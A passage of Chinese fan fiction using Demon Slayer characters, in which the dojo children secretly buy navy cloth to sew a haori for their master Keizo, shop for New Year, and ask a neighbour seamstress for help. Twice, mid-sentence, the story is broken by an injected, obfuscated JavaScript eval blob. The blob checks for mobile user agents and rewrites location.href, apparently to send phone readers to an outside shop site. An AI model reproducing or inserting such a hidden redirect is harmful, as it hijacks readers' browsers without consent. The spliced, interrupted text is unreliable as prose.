“不一样的。”那时的妓夫太郎攥着抹布,语气说不上得执拗,“颜色…很重要。很重要。” 庆藏看着他,看了好一会儿,眼神慢慢沉淀下来,像傍晚渐暗的天光。 他放下布巾,望向墙外悠远的天空,声音里透出一种平和的怀念:“若真要说…深蓝色吧。沉静,耐看。像夜空的颜色,瞧着心里踏实。” 深蓝色。 妓夫太郎把这三个字,连同师父说话时那沉静的神情,一起妥帖地收进了心底。 “深蓝色…”藤吉老板转身走向里侧,从高处取下一匹布,“您看这种藏青色如何?比正深蓝略浅一分,日光下能见细纹,平日看着便是稳重的蓝。” 布匹“哗”地展开。 那一瞬,狛治和妓夫太郎的目光都被攫住了。 那是一种很沉稳的蓝,宛若深夜时分天际与远山交融处的底色。棉料质地细腻,表面有隐隐的斜织纹路,在从窗纸滤进来的晨光里,泛着一种内敛柔和的光泽。 “就是它了。麻烦您裁够做一件羽织的量。”狛治几乎没有犹豫。 “好嘞。”藤吉老板利落地应下,接着熟练地取尺、划线,用大剪刀沿着线剪下,动作流畅精准。 布料裁好,藤吉老板仔细叠起,用防潮的油纸包好又在外头裹了层素色的包袱布。正要捆扎,狛治开口道:“老板,能否…包得瞧不出是布料?” “嗯?”藤吉老板抬头,面露疑惑。 “我们是瞒着师父买的,”太郎低声解释,耳根微热,“想给他一个惊喜。” 藤吉老板先是一怔,随即恍然,脸上绽开宽和的笑意:“原来如此,有心了!二位稍等!” 他转身从柜后取出几张厚实的牛皮纸,将油纸包裹又严严实实裹了几层,最后用麻绳横竖交错扎紧,打成一个方方正正的包袱,乍看之下,确实难猜内里乾坤。 “二位看这样可行?” “再好不过,多谢您。”狛治接过包袱,手感沉实妥帖。 付清布钱,两人再三道谢,抱着包袱离开“藤吉屋”。 走出巷口时,日头已高,金澄澄的阳光铺满街道,寒意尽散。 归途脚步轻快。临近自家镇子,路过集市外缘,狛治忽然驻足。路边有个老婆婆守着个小摊,筐里红枣红亮,一旁捆着干山药。 “稍等。”狛治对妓夫太郎说,转身向摊子走去。 妓夫太郎立刻会意,之前福泽医师开的食补方子上,红枣、山药皆在列。 “婆婆,红枣和山药怎么算?”狛治蹲身,仔细挑拣。红枣要饱满无蛀的,山药选粗壮干燥的。 “小伙子挺识货,这都是自家晒的,甜得很呐!”老婆婆笑呵呵地帮忙装袋。 称好红枣山药,两人又转到干货铺买了桂圆,最后去米铺捎上一小袋上等糯米。桂圆糯米粥,也是福泽医师说过的温补之物。 等到大包小包备齐,日头已近中天。狛治和太郎两人加快步子,几乎是小跑着朝道场赶。 道场的屋檐跃入眼帘时,两人不约而同松了口气。刚近院门,便见庆藏正提着两桶水??从井边往厨房去。 “哟,回来了!”庆藏闻声回头,瞧见两人怀揣手提的满满当当,看见两人怀里抱的、手里提的满满当当,眉毛高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943753|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高扬起, “你们两个买了不少东西啊!赶紧进屋放下歇歇!我打好水就去做饭了,今天师父下厨!” “是!师父!”两人齐声应道,快步进院。 狛治递了个眼神给妓夫太郎:“太郎,你先拿布料给恋雪瞧瞧。我把这些食材放到厨房,随后就来。” 妓夫太郎点头,抱着那包着布匹的包裹,放轻脚步走向恋雪在的房间。拉门虚掩,他屈指轻叩。 “请进。”恋雪温柔的嗓音从内传来。 推开门,暖意混着淡淡墨香拂面。 恋雪正跪坐矮桌旁看书,小梅挨着她,捏一支小毛笔,正在绵纸上,一笔一画描着假名。 她写得极专注,小脸一本正经,连鼻尖沾了一点墨迹都没发现。 “哥哥!”小梅闻声抬头,眼睛霎时亮了,丢下笔就要扑来。 “小心墨!”恋雪忙轻按住她,这才抬眼看向门口,温柔笑着说,“太郎,欢迎回来。一路上还顺利吗?” “顺利。”妓夫太郎进屋,反手轻掩门扇,将怀中包袱小心置于榻榻米上,“布料带来了…狛治哥说他先把食材放在厨房里,放好马上过来。” “好。那我们等一等再一起看吧。”恋雪颔首,目光落在那捆扎得方正正的包裹上,眼中带着一丝好奇。 小梅早已按捺不住,凑到包裹边,伸出小指头小心翼翼地戳了戳:“哥哥,这里头就是给庆藏师父做新衣服的布吗?” “嗯。是…很漂亮的布。”妓夫太郎在她身旁坐下。 不多时,拉门再度被轻轻拉开又合拢,狛治走了进来。 “是在等我一起吗…现在人齐了,打开吧。”他说着,在恋雪对面落座。 所有目光聚焦于那包得严严实实的包裹。狛治解开麻绳,一层层剥开厚纸,露出内里防潮的油纸包。最终,油纸掀开—— 藏青色的布料静静呈现。 屋内光线柔和,可那布料仍流转着一种沉静内敛的光泽。棉质纹理细腻明晰,色泽匀润饱满,好像裁下了一角深邃夜空,铺展于榻榻米之上。 “好漂亮的颜色…”恋雪轻声赞叹,指尖轻抚布面。触感柔软厚实,带着棉料特有的温润,“料子也极好,是上乘的棉布。” 小梅也伸出小手,小心摸了摸:“滑滑的,软软的…庆藏师父穿上一定很帅气!” 妓夫太郎望着布料,心中石头落地,就是这个颜色。与师父所说的“像夜空,瞧着心里踏实”的深蓝,几乎无二。 恋雪抚着布料,欣喜之余,眉头不自觉地蹙起来。 她抿了抿唇,声线添了一丝忐忑:“料子是顶好的…可我虽然能帮大家改改衣服,缝补一些小件东西,但是要说从头裁剪缝制一件正式的羽织…我没有十足的把握。” 她抬眼看向狛治与妓夫太郎,眼中满满是歉意:“万一裁制过程中不小心失了手,这样好的料子就可惜了…” 屋内安静了一瞬。 窗外风声,远处隐约市嚣,此刻变得格外清晰。 这时,妓夫太郎轻声开口:“我…我有个想法,不知道能不能行。” 众人目光转向他。 “顺一的母亲,”他说得很慢,似乎在脑海里仔细搜寻着合适的词句,“那天冬至来道场,我注意到她带来的那罐梅子,罐口封着的布… 针脚特别细密整齐。而且她身上那件旧衣服,袖子和肘部都打了补丁,但几乎看不出来是补过的,手艺很好。” 狛治眼神一动,似乎明白了什么:“你是说…” “顺一提过,他母亲以前是帮人做缝纫工作的,手艺在街坊里都有名气。”妓夫太郎继续道,声音渐渐流畅起来, “只是后来身体不好,咳疾时好时坏,接的活才少了。如果我们请她来帮忙指导,或者…请她主缝,恋雪小姐和小梅帮忙打下手…” 此言让恋雪眸光一亮,可随即又显犹豫:“但请琴夫人出手,工钱方面…” “用这次护卫的钱。”狛治打断她,语气平静而肯定,“我和太郎在回来的路上商量过了。师父给的那笔钱,正好可以用在这上面。但是今天买布料已经花了一部分,不知道后续够不够…不够的话我们再想想办法。” 小梅睁大了眼睛,看看狛治,又看看哥哥:“可是…庆藏师父早上不是说,那是给狛治哥哥和哥哥买自己喜欢的东西的吗?” 妓夫太郎转过头,看着妹妹清澈的眼睛,很轻但很坚定地说:“这就是我们喜欢的东西。” 他顿了顿,目光扫过眼前的狛治和恋雪,最后落在那匹藏青色的布料上:“给师父做一件新衣服,比买什么都值得。” 恋雪看着他们两人,喉咙忽然有些发紧,眼眶微微发热。 她深吸一口气,用力点了点头,唇边漾开温柔而感动的笑容:“好…那,我们要怎么跟琴夫人说呢?” “直接去拜访吧。”狛治已经有了打算,“带些点心做伴手礼,诚心说明来意。如果她愿意帮忙最好,如果不方便…我们再想别的办法。” “下午顺一来上课的时候,”太郎补充道,“我们可以先悄悄问问他,探探琴夫人的口风。” 狛治将布料重新仔细包好,藏进恋雪房间的衣箱底层。小梅主动请缨要“站岗放哨”,防止庆藏师父突然进来。 秘密的礼物,就这样悄悄安置下来。 21.秘密的礼物与新年预备 午饭的香气从厨房飘出来时,几个人迅速结束了“秘密会议”,装作若无其事地起身去帮忙。 庆藏师父今天炖了一锅好菜。大块的肉在汤汁里咕嘟咕嘟地冒着泡,炖得软烂入味,筷子一戳就散。 土豆吸饱了肉汁,变得软糯可口;胡萝卜和洋葱也炖得透明,白菜嫩生生的,浸在浓稠的汤汁里,光是看着就让人食欲大动。 “开饭啦!”庆藏师父端着大砂锅从厨房出来,热气蒸腾,香味扑鼻。 “好香!”小梅第一个凑过去,踮着脚尖往锅里瞧。 “小心烫。”恋雪柔声提醒,一边帮着摆放碗筷。 一家人围坐在被炉旁,砂锅摆在正中,热气烘得每个人脸上都红扑扑的。 庆藏拿起大汤勺,先给恋雪和小梅各舀了一大勺——特意多挑了几块炖得最烂的肉和软糯的土豆。 “多吃点,你们两个小姑娘最需要补。”他说。 轮到狛治和妓夫太郎时,碗里也是堆得满满的。庆藏一边盛菜一边随口问:“狛治,我瞅见厨房里多了袋红枣和糯米,也是路上买的?” 狛治咽下嘴里的饭,点头道:“嗯。路过集市外头,看见个老婆婆在卖,红枣瞧着饱满,山药也干燥。想着福泽医师开的食补方子上有这两样,就买了些备着。” “桂圆和上等糯米也买了一点。”妓夫太郎补充道,“医师说桂圆糯米粥温补,适合冬天喝。” 庆藏听了,脸上露出赞许的笑容:“有心了。是该多备些,食补贵在坚持,急不得。” 说着他又给四个孩子碗里各添了两块肉,“你们都正长身体,多吃点。” 饭吃到一半,庆藏像是忽然想起什么,放下筷子:“对了,今天都三十了,再过两天可就是新年了。” 桌上几双筷子同时顿了一下。 小梅眨巴着眼睛:“新年?” “对,新年。”庆藏笑呵呵地说,“那可是一年里最重要的节日。等下午上完课,我带着你们几个出去置办些年货。买点好吃的,再买些门松、注连绳之类的装饰,把道场好好打扮打扮。” 他看向院子里——虽然隔着纸门,但仿佛能看见下午要来上课的孩子们。 “今儿下午的课也早点结束,让宗之介他们也早点回家帮帮忙。新年嘛,家家都忙。” “好。”恋雪轻声应道。 “嗯。”狛治点头。 妓夫太郎和小梅也跟着应声,但四个孩子悄悄交换了一个眼神:那眼神里藏着同样的慌乱。 完了。 这几天光顾着琢磨给师父做羽织的秘密计划,把新年这茬忘得一干二净。 饭后收拾碗筷时,几个人默契地凑到了厨房角落。水声哗哗,盖住了压低的交谈声。 “怎么办…”小梅攥着抹布,小脸皱成一团,“完全不知道过两天是新年…忘得干干净净” “时间太紧了。”妓夫太郎擦着碗,眉头微蹙,“本来想着慢慢做,现在…” 狛治拧干手里的布巾,声音平稳:“慌也没用。咱们把能做的先做了。恋雪下午抓紧画纸样,我和太郎下午找机会跟顺一说。 琴夫人那边…毕竟是新年,她家里肯定也忙,咱们尽量不添太多麻烦。” “纸样我来画。”恋雪接过话,语气温柔却坚定,“下午你们上课,我在屋里赶工。只是时间仓促,可能画得不够细致…” “没关系。”狛治说,“有总比没有强。” “那…那我能做什么?”小梅仰着头问。 “你下午好好上课。”妓夫太郎摸摸她的头,“别让师父起疑心。千万注意不要说漏嘴。” “哦…”小梅有些失望,但随即又打起精神,“那我一定好好练!” 午后,道场里又响起了练习的声音。 小梅穿着那件浅蓝色的练功服,站在队伍末尾。今天是第二天上课,她的动作比昨天稳了一些,虽然还是笨拙,但至少不会动不动就踉跄了。 庆藏师父今天教的是更基础的协调练习。双手平举,单腿站立,保持平衡。对宗之介他们来说不算难,但对小梅这样刚入门的孩子,却是个挑战。 “小梅,眼睛看前面,别盯着脚。”庆藏走到她身边,声音温和,“想象头顶有根线拉着你,对,就这样…” 小梅照做,小脸因为用力而微微鼓起。她站得摇摇晃晃,但硬是咬着牙没动。 另一边,宗之介、竹雄和健太在练习步法组合。经过这些天的训练,他们的动作已经像模像样,虽然配合起来还是磕磕绊绊,但至少不会撞到一起了。 顺一则独自在角落练习马步。他的姿势比前几天标准了许多,左腿虽然还是微微发抖,但已经能稳稳撑住。 狛治和太郎也在一旁练习。狛治巩固着素流的基本拳路,每一拳都带着短促的破风声; 妓夫太郎则握着镰刀,练习庆藏师父昨天教的弧线步法——侧身,滑步,转身,挥斩…动作一气呵成。 趁庆藏走到院子另一头指导宗之介他们步法组合的间隙,狛治给太郎使了个眼色。 妓夫太郎会意,收势走到顺一身边,压低声音:“顺一,休息的时候…有点事想问问你。” 顺一愣了一下,随即点头:“好。” 一刻钟后,庆藏拍了拍手:“休息!” 孩子们一哄而散,跑向廊下——那里放着恋雪准备好的麦茶和几块小点心。小梅也趁机溜进屋里,她要去看恋雪姐姐画图。 狛治、妓夫太郎和顺一则走到院子角落那棵老梅树下。树干粗糙,枝桠光秃秃的,但在冬日晴空下,自有一种苍劲的姿态。 “顺一,”狛治开门见山,“我们有件事想拜托你母亲,不知道方不方便…” 顺一愣了愣:“狛治哥请说。” 两人简单说明了想请琴夫人帮忙做羽织的事,提到这是瞒着庆藏师父的秘密,也坦白说临近新年,不知是否会太过打扰。 顺一听完,眼睛亮了起来:“母亲的手艺确实很好!以前身体好的时候,街坊邻居常请她帮忙裁衣改衣。只是后来咳疾反复,她才接得少了。” 他顿了顿,眼神真诚:“但如果是道场的事,母亲一定愿意帮忙的。她常跟我说,庆藏师父和大家都是好人,要知恩图报。” 他想了想,又说:“今天下课我就回去跟母亲说!明天…明天午后如何?母亲一般那时候精神好些。” 事情比预想的还要顺利。三人约好明天下午顺一带琴夫人过来,就以“顺一发现庆藏师父的旧羽织需要缝补”为理由,免得庆藏起疑。 而主屋里,恋雪正跪坐在矮桌前,全神贯注。 面前铺着好几张大大的绵纸,炭笔在纸上划出细细的线条。她时而停笔思索,时而用拇指在空气中比划尺寸,嘴里轻声念叨着:“肩宽…袖长…衣摆…” 小梅轻轻推门进来,蹑手蹑脚地走到她身边,不敢出声打扰。 恋雪画的是一幅羽织的裁剪图。线条干净利落,标注着密密麻麻的尺寸和注意事项:哪里要留空,哪里要收紧,哪里要放宽以便活动… 阳光从窗纸透进来,在她专注的侧脸上投下柔和的光晕。炭笔划过纸面的沙沙声,成了屋子里唯一的声响。 院子里,短暂的休息结束了。 庆藏把孩子们重新召集起来,却宣布了一个让他们欢呼的消息:“今天提前下课!” “诶?!”宗之介睁大眼睛,“庆藏师父,真的吗?” “真的。”庆藏笑呵呵地说,“过两天就是新年了,你们也早点回家,帮爹娘置办年货,打扫打扫屋子。记住,素流的弟子,在家也要孝顺懂事。” “是!”三个孩子齐声应道,声音里满是雀跃。 顺一也恭敬地行礼:“谢谢庆藏师父。” “好了,都回去吧。”庆藏摆摆手,“提前祝你们新年快乐!” “新年快乐!庆藏师父!”孩子们嘻嘻哈哈地跑出道场,脚步声渐行渐远。 道场一下子安静下来。 庆藏转身看向狛治几人:“咱们也准备准备,出门采买去。今天街上肯定热闹。” 狛治、太郎和小梅连忙应声,心里却还惦记着那个秘密计划… 午后阳光正好,洒在街道上,泛起一片温暖的光。 一行人走出道场,刚转过街角,喧闹的人声便扑面而来。年末的集市比平日热闹数倍,几乎每个摊子前都围满了人。 夫人们挎着篮子,精挑细选着最后的年货;孩子们在人群中钻来钻去,兴奋地指着各种新奇玩意儿。 “哟!庆藏师父!”卖鱼的摊主老远就招呼起来,手里还拎着一条肥美的鲷鱼,“今年最后一批鲜货,给您留了条最好的!恋雪小姐身体好些没?” “好多了,多谢记挂。”庆藏笑着走过去,接过鱼掂了掂,“不错,今晚就炖了它。” “庆藏师父!来看看我这儿的柚子!泡澡祈福可不能少了这个!”水果摊的老板娘热情地招手。 “来啦来啦!” 几乎每走过几个摊位,就有人跟庆藏打招呼。庆藏师父在街道上人缘极好,几乎每一家店铺,每一个小摊,都受到过庆藏师父或多或少的帮助。 卖菜的阿婆硬往小梅和恋雪手里塞了颗糖,说给小姑娘们添添生活的“甜蜜”; 米铺的老板听说要给道场备年货,主动给抹了零头; 就连街角那家平时不怎么说话的干货铺掌柜,都探出头来问了句“庆藏师父需要海带和香菇吗?可以加在菜里面提味。今年进的货色特别好”。 狛治和妓夫太郎跟在后面,手里很快提满了东西——新鲜蔬菜、活蹦乱跳的鱼、饱满的柚子、成捆的干货… 还有庆藏特意绕去和果子店买的一盒漂亮的新年点心,说是要送给福泽医师,感谢他这一年的关照。 置办吃食只是第一步。接下来要去买新年装饰。 专门卖节日用品的铺子门口挂满了各式各样的门松、注连绳等装饰品。 门松是用松枝、竹竿和梅花精心扎成的,寓意健康长寿; 注连绳是用稻草编织的绳索,上面挂着纸垂,用来驱邪迎神。 “老板,来一套门松,再要根注连绳。”庆藏仔细挑选着,“对,要那套松枝密实的。” 老板笑着应下,一边包扎一边说:“庆藏师父,今年道场热闹啊!我瞧着又多了两个孩子,真不错啊!小姑娘真漂亮!” “是啊,热闹了好!这两个是兄妹,一个是我新收的弟子太郎,漂亮的小姑娘叫小梅”庆藏付了钱,笑着接过装饰,“新年快乐啊!” “新年快乐!愿您道场兴旺!” 回去的路上,夕阳已经把天空染成了温暖的橘红色。每个人手里都提着东西,步伐却比来时更轻快。 道场越来越近,屋檐在暮色中显出熟悉的轮廓。小梅忽然小声说:“庆藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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等庆藏说“今天都累了,你们几个早点休息”时,四个人默契地没有立刻回房。等主屋的灯熄了,走廊里响起庆藏平稳的鼾声,四个身影才悄悄聚到了恋雪的房间。 油灯点亮,暖黄的光晕照亮了矮桌上铺开的图纸。 恋雪把下午画的纸样展开,那是她忙了一下午的成果。羽织的裁剪图线条清晰,尺寸标注得密密麻麻,连缝份、收腰、衣襟的弧度都考虑到了。 “恋雪姐姐好厉害…”小梅小声赞叹。 “只是草图,还得修改。”恋雪轻声说,目光转向大家,“样式大概定了,但纹样…你们觉得绣什么好?” 房间里安静下来。 妓夫太郎盯着图纸看了很久,忽然开口:“素流…素流,是不是可以用水波纹的图样?” 狛治想了想,说:“这个主意好。水,利万物而不争,又生生不息。寓意也好,我觉得可以。” 小梅眨眨眼,拽了拽恋雪的袖子:“那…那可以绣梅花吗?把我的名字绣上去,就等于小梅一直陪着庆藏师父啦!” 小梅说完,又有些不好意思地低下头。 “可以呀,到时候我教小梅怎么绣梅花,”恋雪温柔地摸摸她的头,“小梅的心意,父亲一定会喜欢的。” 她看看图纸,又看看眼前的三人,忽然有了主意:“你们说的都很好。不如这样吧。主体纹样用水波纹,象征素流。然后…” 她拿起炭笔,在图纸的袖口内侧轻轻画了个小圈:“每个人在这里,绣一个自己想给父亲缝的小图样。怎么样?” “可是…”妓夫太郎和狛治对视一眼,脸上都露出了为难的神色,“我们两个…一点也不会绣花,怕绣毁了。” “我会教你们。”恋雪微笑,声音温柔却坚定,“只绣小小的图样,不难的。况且…” 她看向窗外,夜色深沉,但道场的屋檐在月光下轮廓清晰。 “这份礼物,重要的不是绣工有多精美,而是咱们每个人的心意都缝在了里面。” 狛治沉默片刻,点了点头:“好。” “那我也学。”妓夫太郎说。 小梅已经兴奋地举起了手:“我要绣梅花!梅花!” “那我要绣什么好呢…”恋雪托着腮,眼神温柔地飘向窗外,仿佛透过夜色看到了什么,“就绣…小小的桔梗花吧。母亲最喜欢桔梗了。” “狛治哥哥呢?”小梅问。 狛治想了想,说:“我绣…一个小石头吧。”说着,狛治都忍不住笑了一下。 他解释道,“师父之前说我就像一块石头,因为我刚来道场的时候脾气犟,又不怎么说话…” 几人听了,都忍不住笑了。 “那我…”妓夫太郎迟疑了一下,“绣…小草吧,师父说我的命大,像缝里的小草一样,生命力顽强。绣这个…可以吗?” “当然可以。”恋雪点头,在图纸上记下每个人的选择,“那咱们就说定了。明天琴夫人来,先把主体裁好缝好。绣小图样的事…咱们抓紧时间,悄悄进行。” 油灯的火苗轻轻跳跃,把四个人的影子投在墙壁上,重叠在一起。 窗外,夜风拂过屋檐,带着岁末特有的清冷。但房间里,暖意融融,某种比春日更温暖的东西,正在悄悄生根、发芽。 新年就要来了。 而这份秘密的礼物,也会在某个恰当的时辰,送到该收到的人手中。 22.秘密的礼物与大晦日 十二月的最后一天,空气里像掺了冰,吸进鼻腔都带着干冷的刺痛。 道场屋檐下挂的冰棱又长了一截,太阳出来时,滴滴答答地往下滴水。 可这天一大早,屋子里却暖烘烘的,连带着几个孩子脸上的表情也暖融融的。 早饭的碗筷刚撤下,几个人就围着庆藏坐了一圈。小梅挨着哥哥,眼睛亮亮的,藏不住事。 “父亲,”恋雪先开了口,“今天…我们几个想去顺一家拜访一下。” 庆藏正喝着热茶暖胃,闻言放下杯子:“哦?这么冷的天,你们几个还要去顺一家拜访吗?” “嗯。”狛治接过话,“顺一每天来道场,他母亲身体又不好。快新年了,我们想着做些点心带过去,也算是邻里间的礼节。顺便…” 他顿了顿,看了恋雪一眼,“琴夫人女红手艺好,恋雪正好也一直想学些缝纫的技巧,去了也能请教一二。” 恋雪点点头,脸颊微微泛红,不知是屋里炭火烘的,还是别的缘故:“我想着,若是能学些缝纫的本事,以后道场大家的衣物缝补,我也能帮上忙。若能做些手帕、香囊之类的小物件,逢集市时或许还能贴补些家用…” 她说着,声音渐小,手指无意识地绞着和服的袖口。这想法在她心里盘桓好些天了,说出来还是有些忐忑…毕竟她身子弱不是一天两天的事了,许多事都心有余力不足。 妓夫太郎坐在一旁,没插话,只是静静地听着。 小梅可等不及了,拽了拽庆藏的袖子:“庆藏师父!我们还可以看看高桥阿姨家有什么要帮忙的!您不是说,新年的时候大家要互相帮忙吗?” 庆藏的目光在几个孩子脸上转了一圈。恋雪的期盼,狛治的沉稳,太郎的沉默,小梅的雀跃…这些神情交织在一起,让他心里那块最柔软的地方被轻轻触动了。 他忽然想起很多年前,恋雪的母亲还在时,腊月末也是这样,邻里间互相送些年礼,女眷们聚在一起做些针线,孩子们在院里追逐打闹。那种热热闹闹、人情往来的烟火气,已经很久没有过了。 “是该去。”庆藏笑了,眼角细密的皱纹舒展开,“琴夫人独自带大顺一,不容易。邻里间多走动是好事。不过…” 他看向狛治和太郎,“你们去了,眼睛放亮点,看看有什么力气活能搭把手的。快新年了,家里除尘、搬搬抬抬的,该帮就帮。” “是,师父。”两人齐声应道。 “点心…”庆藏摸着下巴,“要不要我来做?厨房里还有糯米粉和红豆沙…” “不用不用!”小梅连忙摆手抢着开口,脑袋摇得像拨浪鼓,“师父您歇着就好啦!点心我们来!我们…我们会做!狛治哥哥肯定会!” 由小梅来说这话多少有些底气不足,因此惹得庆藏哈哈大笑:“好好好,你们来。需要什么材料自己去厨房拿。不过小心火,别烫着。” “知道啦!”小梅脆生生地应道,拉起恋雪的手就往厨房跑。 狛治和太郎对视一眼,也跟着起身。 厨房里一下挤进了四个人,显得有些局促。恋雪挽起袖子,露出纤细却苍白的手腕。她先清点了材料:糯米粉、红豆沙、白糖,还有前几天买的白芝麻和之前晒干的桂花。 “做红豆糯米团子和芝麻桂花糕吧。”恋雪轻声说,“这两样材料都有,也适合冬天吃,暖胃。” 小梅负责洗红豆。她人小,蹲在水盆边,小手仔细地搓着每一颗豆子,洗得极其认真。 狛治默默地把灶火生起来,火苗跳跃着,映亮了他专注的侧脸。 妓夫太郎接过恋雪递来的糯米粉,开始和面。他手上力气大,但动作却很小心。庆藏师父说过,和面讲究力道均匀,不能死命揉。温水一点一点加进去,雪白的米粉渐渐抱团,在他掌心变成柔软光滑的面团。 屋子里安静下来,只剩下灶火噼啪声、水流声、面团揉捏时细微的黏连声。 阳光从厨房的小窗斜射进来,在弥漫的白色水汽中划出一道道光柱,细小的粉尘在光柱里缓缓飞舞。 恋雪把蒸笼铺上洗净的屉布,动作轻柔。小梅凑过来,看恋雪把和好的面团分成均匀的小剂子,压扁,包入甜润的红豆沙,再灵巧地收口,搓圆。一个个白胖胖的团子躺在屉布上,像冬日里孩子们手里团成的雪球。 “恋雪姐姐好厉害…”小梅小声赞叹。 “熟能生巧罢了。”恋雪微笑,手指翻飞间又包好一个,“以前母亲常做,我在旁边看,看得多了,也就会了。” 她说这话时,眼神有些飘忽,仿佛透过蒸腾的热气,看见了多年前那个同样温暖的厨房,看见了母亲系着围裙忙碌的背影。那时候父亲还年轻,道场里弟子也多,逢年过节,厨房里总是这样热闹… “恋雪,”狛治的声音打断了她的思绪。他不知何时走了过来,手里拿着一个小碟子,里面是炒香的白芝麻和细碎的干桂花,“撒这个?” “嗯,撒一点在团子表面就好。”恋雪收回思绪,接过碟子,“芝麻香,桂花甜,配着糯米的软糯,正好。” 蒸笼上灶,白色的蒸汽渐渐升腾,带着糯米和红豆的甜香弥漫开来。等待的间隙,几人又做了芝麻桂花糕——米粉调成糊,加糖和桂花,倒入抹了油的方盘,上锅蒸。出锅后撒上炒香的芝麻,待凉了切块。 时间在食物的香气里悄然流淌。当蒸笼掀开时,热气轰然散开,露出一笼晶莹剔透的糯米团子,表面点缀着金黄桂花和白芝麻,看着就让人食欲大动。 “成功啦!”小梅欢呼。 恋雪用筷子小心地夹起一个,吹了吹,递给小梅:“尝尝看,甜度合不合适?” 小梅小心地咬了一小口,滚烫的红豆沙烫得她直吸气,但随即眯起眼睛,含糊不清地说:“好次(吃)!甜甜的,软软的!” 狛治和太郎也各尝了一个,点点头。甜度适中,糯米皮软韧,豆沙细腻。虽算不上顶精致,但那份亲手制作的心意,让普通的点心有了不一样的味道。 点心用干净的食盒装好,外面包上厚布保温。四人穿戴整齐,准备出门。 “路上小心。”庆藏送到门口,看着几个孩子。 恋雪穿着淡紫色的羽织,脖子上围着厚厚的围巾;小梅裹得像个小粽子,露着一双亮晶晶的眼睛;狛治和太郎则穿着厚实的棉外衣,手里提着食盒和一个小包袱。 “我们早点回来的,父亲。”恋雪回头说。 “不急。”庆藏摆摆手,“好好说话,别急着赶。家里的事有我。” 门在身后合上,将道场的暖意暂时隔开。外头的冷空气立刻围了上来,但阳光很好,让人心里也觉得不再那么寒冷。 街道上比平日更热闹些,许多人家门口都有人踩着凳子挂门松、绑注连绳,互相打招呼的声音此起彼伏。 “年味越来越浓了啊。”恋雪轻声说。 小梅好奇地东张西望:“那些人挂的草绳子是做什么的呀?” “那是注连绳。”狛治解释,语气充满了耐心,“用稻草编的,挂着纸垂。传说能驱邪,拦住不好的东西,迎接年神来家里。” “年神…”小梅重复着,似懂非懂。 顺一家住在镇子东头,房子比道场小很多,是栋有些年头的木屋,但收拾得干净整齐。门前已经挂好了小小的门松,松枝青翠,竹竿笔直。 顺一正在院子里收拾,看见他们,愣了一下,随即露出惊喜的笑容:“狛治哥!太郎哥!恋雪小姐!小梅!你们怎么来了?” “来拜访琴夫人。”狛治说着,递上食盒,“做了些点心,一点心意。” “这、这怎么好意思…”顺一连忙在衣服上擦了擦手,接过食盒,朝屋里喊,“母亲!道场的大家来了!” 木门拉开,高桥琴夫人走了出来。她今天穿了一件靛青色和服,外面罩着浅色的羽织,头发在脑后整齐地挽成一个髻。脸色依旧有些苍白,但眼神清亮温和。 “快请进,外头冷。”她侧身让开门,“顺一,去烧水泡茶。” 屋子里比外面暖和许多,虽然简朴,但处处透着整洁。靠墙放着一架老旧的织机,旁边摆着几个藤筐,里面是各色线轴和布料边角。窗台下的小炭炉烧得正旺,上面放着铁壶,水汽微微蒸腾。 “地方小,委屈大家了。”琴夫人请他们坐下,自己跪坐在炉边,拿起铁壶往茶壶里注水。动作有些慢,但不显慌乱。 “是我们冒昧打扰了。新年之际,还来叨扰您。”恋雪微微欠身,将带来的点心从食盒中取出,摆在矮桌上,“我们做了些糯米团子和芝麻糕,手艺粗陋,请您尝尝。” 小巧的点心在碟子里显得格外精致。琴夫人看了看,眼神柔和下来:“费心了。都是孩子,还特意做这些。” 小梅挨着哥哥坐下,眼睛却忍不住往那架织机瞟。琴夫人注意到了,微微一笑:“小梅对织布感兴趣?” “我、我就是觉得…”小梅有些不好意思,“那个大木头架子,好厉害的样子。” “那是织机。”琴夫人语气温和,“我年轻时学的就是这手艺。后来眼睛不太好了,织得少了,但缝缝补补还能做。” 她说着,目光转向恋雪:“恋雪小姐想学缝纫?” 恋雪点点头,脸颊微红:“是。我身子弱,重活做不了,就想学些手上功夫。以后道场里大家衣物破了,我能补;若能做些小物件补贴家用,那就更好了。” 她说得恳切,只有无意识地摩挲着膝盖上的布料暴露了她的紧张。 琴夫人静静地听着,没有说话。屋子里只有铁壶里水将沸未沸的咕嘟声,和炭火偶尔爆开的噼啪。 狛治和太郎对视一眼。狛治轻咳一声,坐直了身子,语气郑重起来:“琴夫人,其实今天来,还有另一件事想拜托您。” 琴夫人抬眼看他。 “我们…”狛治顿了顿,似乎在斟酌词句,“想为师父庆藏做一件新羽织,答谢他的养育教导之恩。” 他从怀里取出小心折好的图纸,双手递上:“恋雪小姐画了图样。但我们几个…都没有制作完整衣服的经验。听说您擅长缝纫,所以冒昧前来,想请您指导。” 图纸在矮桌上缓缓展开。 琴夫人的目光落在那些线条上。她看得很慢,很仔细,手指轻轻抚过纸张,仿佛能透过纸面触摸到布料的质感。 时间一点点过去,屋子里安静得能听见几个人的呼吸声。 “这是…”她终于开口,声音有些沙哑,“袖口的弧度处理得很好,活动时不会勒着。领子的宽度也合适…画图的人很细心。” “是恋雪小姐画的。”妓夫太郎低声说。 琴夫人点点头,继续看。她的目光在那些密密麻麻的尺寸标注上停留了很久,久到顺一端着泡好的茶进来,都不敢出声打扰。 “庆藏师父的肩宽,”琴夫人忽然问,抬眼看向狛治,“你们量过吗?” 两人一怔。 “没、没有…”妓夫太郎有些窘迫,“我们只是…凭印象估的。” “做衣服,第一要紧的就是尺寸。”琴夫人的语气温和,但话里的分量很沉,“差一分,穿着就不舒服。尤其是习武之人,衣服太紧束手束脚,太松又显得邋遢,活动也不便。” 